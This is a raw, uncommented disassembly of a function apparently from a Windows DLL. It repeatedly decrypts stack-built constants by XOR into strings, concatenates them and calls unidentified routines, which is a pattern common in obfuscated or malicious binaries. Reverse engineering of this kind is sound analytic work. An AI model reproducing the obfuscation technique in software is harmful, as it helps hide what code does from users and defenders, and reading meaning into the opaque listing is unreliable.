lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x33b0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xa5], al
mov byte [rbp + 0xa6], al
mov byte [rbp + 0xa7], al
mov byte [rbp + 0xa8], al
movabs rax, 0xb44149c3cffd1889
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x600], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x608], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3d0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3d8], rax
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0xb3d0]
movdqa xmmword [rbp + 0x600], xmm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x33d0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xa9], al
mov byte [rbp + 0xaa], al
movabs rax, 0xfe3e61c0cb8a47b9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2460], rax
movabs rax, 0x3db2eed57d3773bf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2468], rax
movabs rax, 0x8b62987f6831e625
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2470], rax
movabs rax, 0xd32e9c33926133f2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2478], rax
movabs rax, 0x57d7778f77188575
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2480], rax
movabs rax, 0x73730b5abce52f09
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2488], rax
movabs rax, 0xd4e0e2e1a7f6bf69
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2490], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2498], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd240], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd248], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd250], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd258], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd260], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd268], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd270], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd278], rax
vmovdqu ymm0, ymmword [rbp + 0xd240]
vpxor ymm1, ymm0, ymmword [rbp + 0x2460]
vmovdqa ymmword [rbp + 0x2460], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2480]
vpxor ymm1, ymm0, ymmword [rbp + 0xd260]
vmovdqa ymmword [rbp + 0x2480], ymm1
lea rdx, [rbp + 0x2460]
lea rcx, [rbp + 0x33f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xab], al
mov byte [rbp + 0xac], al
movabs rax, 0xb43d71d6edf9448f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x610], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x618], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3c0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3c8], rax
movdqa xmm0, xmmword [rbp + 0x610]
pxor xmm0, xmmword [rbp + 0xb3c0]
movdqa xmmword [rbp + 0x610], xmm0
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x3410]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xad], al
mov byte [rbp + 0xae], al
mov byte [rbp + 0xaf], al
mov byte [rbp + 0xb0], al
movabs rax, 0xb44149c3cffd1889
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x620], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x628], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3b0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3b8], rax
movdqa xmm0, xmmword [rbp + 0x620]
pxor xmm0, xmmword [rbp + 0xb3b0]
movdqa xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x3430]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xb1], al
mov byte [rbp + 0xb2], al
movabs rax, 0xe33e61c0cb8a47b9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1140], rax
movabs rax, 0x7d8094c675306385
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1148], rax
movabs rax, 0xc66dfe457949c90e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1150], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1158], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0e0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0e8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0f0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1140]
vmovdqa ymmword [rbp + 0x1140], ymm1
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0x3450]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xb3], al
mov byte [rbp + 0xb4], al
movabs rax, 0xb43d71d6edf9448c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x630], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x638], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3a0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb3a8], rax
movdqa xmm0, xmmword [rbp + 0x630]
pxor xmm0, xmmword [rbp + 0xb3a0]
movdqa xmmword [rbp + 0x630], xmm0
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x3470]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xb5], al
mov byte [rbp + 0xb6], al
mov byte [rbp + 0xb7], al
mov byte [rbp + 0xb8], al
movabs rax, 0xff105ffdccfd478c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x640], rax
movabs rax, 0x4dd6a69c2f584c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x648], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb390], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb398], rax
movdqa xmm0, xmmword [rbp + 0x640]
pxor xmm0, xmmword [rbp + 0xb390]
movdqa xmmword [rbp + 0x640], xmm0
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x3490]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xb9], al
mov byte [rbp + 0xba], al
movabs rax, 0xff3e61c0cb8a47b9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1160], rax
movabs rax, 0x2a87fec67c275285
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1168], rax
movabs rax, 0x8d54ee43663abe16
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1170], rax
movabs rax, 0xa617ae62d90a13ca
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1178], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc100], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc108], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc110], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc118], rax
vmovdqu ymm0, ymmword [rbp + 0xc100]
vpxor ymm1, ymm0, ymmword [rbp + 0x1160]
vmovdqa ymmword [rbp + 0x1160], ymm1
lea rdx, [rbp + 0x1160]
lea rcx, [rbp + 0x34b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xbb], al
mov byte [rbp + 0xbc], al
movabs rax, 0xb44159d08df64489
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x650], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x658], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb160], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb168], rax
movdqa xmm0, xmmword [rbp + 0x650]
pxor xmm0, xmmword [rbp + 0xb160]
movdqa xmmword [rbp + 0x650], xmm0
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x34d0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xbd], al
mov byte [rbp + 0xbe], al
mov byte [rbp + 0xbf], al
mov byte [rbp + 0xc0], al
movabs rax, 0xe1495ffdc182328e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe0], rax
movabs rbx, 0x70ebe7d524307c84
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc120], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc128], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc130], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc138], rax
vmovdqu ymm0, ymmword [rbp + 0xc120]
vpxor ymm1, ymm0, ymmword [rbp + 0xbe0]
vmovdqa ymmword [rbp + 0xbe0], ymm1
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0x34f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xc1], al
mov byte [rbp + 0xc2], al
mov byte [rbp + 0xc3], al
mov byte [rbp + 0xc4], al
movabs rax, 0xe14975fad7f52d8b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11a8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11b0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11b8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc140], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc148], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc150], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc158], rax
vmovdqu ymm0, ymmword [rbp + 0xc140]
vpxor ymm1, ymm0, ymmword [rbp + 0x11a0]
vmovdqa ymmword [rbp + 0x11a0], ymm1
lea rdx, [rbp + 0x11a0]
lea rcx, [rbp + 0x3510]
vzeroupper
call fcn.180004520
nop
lea rcx, [rbp + 0x6090]
call fcn.18001d220
mov qword [rbp], rax
lea rdx, [rbp + 0x32f0]
lea rcx, [rbp + 0x6070]
call fcn.1800553f0
mov qword [rbp + 0x10], rax
movabs rsi, 0x897c1899bbbb75d7
mov qword [rbp + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6c0], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6c8], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb380], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb388], rax
movdqa xmm0, xmmword [rbp + 0x6c0]
pxor xmm0, xmmword [rbp + 0xb380]
movdqa xmmword [rbp + 0x6c0], xmm0
lea rdx, [rbp + 0x3310]
lea rcx, [rbp + 0x6050]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3330]
lea rcx, [rbp + 0x6030]
call fcn.1800553f0
nop
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x6010]
call fcn.180016f20
mov qword [rbp + 0x310], rax
lea rdx, [rbp + 0x3350]
lea rcx, [rbp + 0x5ff0]
call fcn.1800553f0
mov qword [rbp + 0xa28], rax
mov qword [rbp + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6b0], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6b8], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb370], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb378], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0xb370]
movdqa xmmword [rbp + 0x6b0], xmm0
lea rdx, [rbp + 0x3370]
lea rcx, [rbp + 0x5fd0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3390]
lea rcx, [rbp + 0x5fb0]
call fcn.1800553f0
nop
mov byte [rsp + 0x20], 1
xor r9d, r9d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5f90]
call fcn.180016f20
mov qword [rbp + 0xa20], rax
lea rdx, [rbp + 0x33b0]
lea rcx, [rbp + 0x5f70]
call fcn.1800553f0
mov qword [rbp + 0xa18], rax
mov qword [rbp + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x6a8], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb360], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb368], rax
movdqa xmm0, xmmword [rbp + 0x6a0]
pxor xmm0, xmmword [rbp + 0xb360]
movdqa xmmword [rbp + 0x6a0], xmm0
lea rdx, [rbp + 0x33d0]
lea rcx, [rbp + 0x5f50]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x33f0]
lea rcx, [rbp + 0x5f30]
call fcn.1800553f0
nop
mov byte [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5f10]
call fcn.180016f20
mov qword [rbp + 0xa10], rax
lea rdx, [rbp + 0x3410]
lea rcx, [rbp + 0x5ef0]
call fcn.1800553f0
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x690], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x698], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb350], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb358], rax
movdqa xmm0, xmmword [rbp + 0x690]
pxor xmm0, xmmword [rbp + 0xb350]
movdqa xmmword [rbp + 0x690], xmm0
lea rdx, [rbp + 0x3430]
lea rcx, [rbp + 0x5ed0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3450]
lea rcx, [rbp + 0x5eb0]
call fcn.1800553f0
nop
mov byte [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e90]
call fcn.180016f20
mov qword [rbp + 0x2f8], rax
lea rdx, [rbp + 0x3470]
lea rcx, [rbp + 0x5e70]
call fcn.1800553f0
mov qword [rbp + 0x300], rax
mov qword [rbp + 8], rsi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x680], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x688], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb340], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb348], rax
movdqa xmm0, xmmword [rbp + 0x680]
pxor xmm0, xmmword [rbp + 0xb340]
movdqa xmmword [rbp + 0x680], xmm0
lea rdx, [rbp + 0x3490]
lea rcx, [rbp + 0x5e50]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x34b0]
lea rcx, [rbp + 0x5e30]
call fcn.1800553f0
nop
mov byte [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5e10]
call fcn.180016f20
mov r13, rax
lea rdx, [rbp + 0x34d0]
lea rcx, [rbp + 0x5df0]
call fcn.1800553f0
mov rsi, rax
movabs rax, 0x897c1899bbbb75d7
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x670], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x678], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb330], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb338], rax
movdqa xmm0, xmmword [rbp + 0x670]
pxor xmm0, xmmword [rbp + 0xb330]
movdqa xmmword [rbp + 0x670], xmm0
lea rdx, [rbp + 0x34f0]
lea rcx, [rbp + 0x5dd0]
call fcn.1800553f0
mov rbx, rax
movabs rax, 0x897c1899bbbb75d7
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x660], rcx
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x668], rcx
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb320], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb328], rax
movdqa xmm0, xmmword [rbp + 0x660]
pxor xmm0, xmmword [rbp + 0xb320]
movdqa xmmword [rbp + 0x660], xmm0
lea rdx, [rbp + 0x3510]
lea rcx, [rbp + 0x5db0]
call fcn.1800553f0
nop
lea r8, [rbp + 0xaab8]
mov rdx, rax
lea rcx, [rbp + 0x5d90]
call fcn.180041f40
nop
lea r8, [rbp + 0x660]
mov rdx, rax
lea rcx, [rbp + 0x5d70]
call fcn.180041e70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5d50]
call fcn.180041fa0
nop
lea r8, [rbp + 0xac58]
mov rdx, rax
lea rcx, [rbp + 0x5d30]
call fcn.180041f40
nop
lea r8, [rbp + 0x670]
mov rdx, rax
lea rcx, [rbp + 0x5d10]
call fcn.180041e70
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x5cf0]
call fcn.180041fa0
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x5cd0]
call fcn.180041fa0
nop
lea r8, [rbp + 0x680]
mov rdx, rax
lea rcx, [rbp + 0x5cb0]
call fcn.180041e70
nop
mov r8, qword [rbp + 0x300]
mov rdx, rax
lea rcx, [rbp + 0x5c90]
call fcn.180041fa0
nop
mov r8, qword [rbp + 0x2f8]
mov rdx, rax
lea rcx, [rbp + 0x5c70]
call fcn.180041fa0
nop
lea r8, [rbp + 0x690]
mov rdx, rax
lea rcx, [rbp + 0x5c50]
call fcn.180041e70
nop
mov r8, qword [rbp + 0x2e8]
mov rdx, rax
lea rcx, [rbp + 0x5c30]
call fcn.180041fa0
nop
mov r8, qword [rbp + 0xa10]
mov rdx, rax
lea rcx, [rbp + 0x5c10]
call fcn.180041fa0
nop
lea r8, [rbp + 0x6a0]
mov rdx, rax
lea rcx, [rbp + 0x5bf0]
call fcn.180041e70
nop
mov r8, qword [rbp + 0xa18]
mov rdx, rax
lea rcx, [rbp + 0x5bd0]
call fcn.180041fa0
nop
mov r8, qword [rbp + 0xa20]
mov rdx, rax
lea rcx, [rbp + 0x5bb0]
call fcn.180041fa0
nop
lea r8, [rbp + 0x6b0]
mov rdx, rax
lea rcx, [rbp + 0x5b90]
call fcn.180041e70
nop
mov r8, qword [rbp + 0xa28]
mov rdx, rax
lea rcx, [rbp + 0x5b70]
call fcn.180041fa0
nop
mov r8, qword [rbp + 0x310]
mov rdx, rax
lea rcx, [rbp + 0x5b50]
call fcn.180041fa0
nop
lea r8, [rbp + 0x6c0]
mov rdx, rax
lea rcx, [rbp + 0x5b30]
call fcn.180041e70
nop
mov r8, qword [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x5b10]
call fcn.180041fa0
nop
mov r8, qword [rbp]
mov rdx, rax
lea rcx, [rbp + 0x5af0]
call fcn.180041fa0
mov rbx, rax
lea r8, [rbp + 0xa510]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x5ad0]
call fcn.180042b70
nop
mov rdx, rbx
mov rcx, rax
call fcn.1800142a0
nop
lea rcx, [rbp + 0x5ad0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5b10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5b50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5b70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5b90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5bb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5bd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5bf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5c10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5c30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5c70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5c90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5cb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5cd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5cf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5d10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5d30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5d50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5d70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5d90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5db0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5dd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5df0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5e10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5e50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5e70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5eb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5ed0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5ef0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5f10]
call fcn.180040870
nop
lea rcx, [rbp + 0x5f30]
call fcn.180040870
nop
lea rcx, [rbp + 0x5f50]
call fcn.180040870
nop
lea rcx, [rbp + 0x5f70]
call fcn.180040870
nop
lea rcx, [rbp + 0x5f90]
call fcn.180040870
nop
lea rcx, [rbp + 0x5fb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5fd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6010]
call fcn.180040870
nop
lea rcx, [rbp + 0x6030]
call fcn.180040870
nop
lea rcx, [rbp + 0x6050]
call fcn.180040870
nop
lea rcx, [rbp + 0x6070]
call fcn.180040870
nop
lea rcx, [rbp + 0x6090]
call fcn.180040870
nop
lea rcx, [rbp + 0x3510]
call fcn.180040870
nop
lea rcx, [rbp + 0x34f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x34d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x34b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3490]
call fcn.180040870
nop
lea rcx, [rbp + 0x3470]
call fcn.180040870
nop
lea rcx, [rbp + 0x3450]
call fcn.180040870
nop
lea rcx, [rbp + 0x3430]
call fcn.180040870
nop
lea rcx, [rbp + 0x3410]
call fcn.180040870
nop
lea rcx, [rbp + 0x33f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x33d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x33b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3390]
call fcn.180040870
nop
lea rcx, [rbp + 0x3370]
call fcn.180040870
nop
lea rcx, [rbp + 0x3350]
call fcn.180040870
nop
lea rcx, [rbp + 0x3330]
call fcn.180040870
nop
lea rcx, [rbp + 0x3310]
call fcn.180040870
nop
lea rcx, [rbp + 0x32f0]
call fcn.180040870
call fcn.180004e10
lea r8, [rbp + 0xa510]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x60b0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x60b0]
call fcn.180040870
test bl, bl
je 0x18002aa04
xor eax, eax
mov byte [rbp + 0xc5], al
mov byte [rbp + 0xc6], al
movabs rax, 0xb92a50facf82478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
movabs rax, 0x20e3f1cf752c73bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
movabs rax, 0xc669e1422149f525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x11d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc160], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc168], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc170], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc178], rax
vmovdqu ymm0, ymmword [rbp + 0xc160]
vpxor ymm1, ymm0, ymmword [rbp + 0x11c0]
vmovdqa ymmword [rbp + 0x11c0], ymm1
lea rdx, [rbp + 0x11c0]
lea rcx, [rbp + 0x32b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xc7], al
mov byte [rbp + 0xc8], al
movabs rax, 0xfd2a5ffdc1d74688
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
movabs rax, 0x70eecbc667096eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x11f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc180], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc188], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc190], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc198], rax
vmovdqu ymm0, ymmword [rbp + 0xc180]
vpxor ymm1, ymm0, ymmword [rbp + 0x11e0]
vmovdqa ymmword [rbp + 0x11e0], ymm1
lea rdx, [rbp + 0x11e0]
lea rcx, [rbp + 0x32d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x6110]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa510]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x60f0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x32d0]
lea rcx, [rbp + 0x60d0]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x60d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x60f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6110]
call fcn.180040870
nop
lea rcx, [rbp + 0x32d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x32b0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa510]
call fcn.180040870
nop
lea rcx, [rbp + 0xac58]
call fcn.180040870
nop
lea rcx, [rbp + 0xaab8]
call fcn.180040870
cmp byte [rbp + 0x1e], 0
